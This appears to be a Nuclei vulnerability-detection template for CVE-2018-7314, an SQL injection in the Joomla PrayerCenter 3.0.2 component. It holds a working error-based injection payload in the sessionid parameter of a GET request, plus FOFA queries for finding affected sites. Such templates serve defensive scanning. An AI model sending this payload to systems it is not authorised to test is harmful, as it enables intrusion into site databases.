id: CVE-2018-7314

info:
  name: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429.
  reference:
    - https://www.exploit-db.com/exploits/44160
    - https://github.com/jweny/pocassistdb
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7314
    cwe-id: CWE-89
    epss-score: 0.00282
    epss-percentile: 0.67968
    cpe: cpe:2.3:a:mlwebtechnologies:prayercenter:3.0.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: mlwebtechnologies
    product: prayercenter
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,mlwebtechnologies
variables:
  num: "{{rand_int(800000000, 1000000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 4b0a00483046022100aa15cbebb79064320af3ff23376308e7be3dd66767207467b9dd3ea5a4b78a0a022100dc8b12f69a36b4e3af5aebbb74b22ae61df339d1763b6fa3813ac6ddf8b4bf45:922c64590222798bb761d5b6d8e72950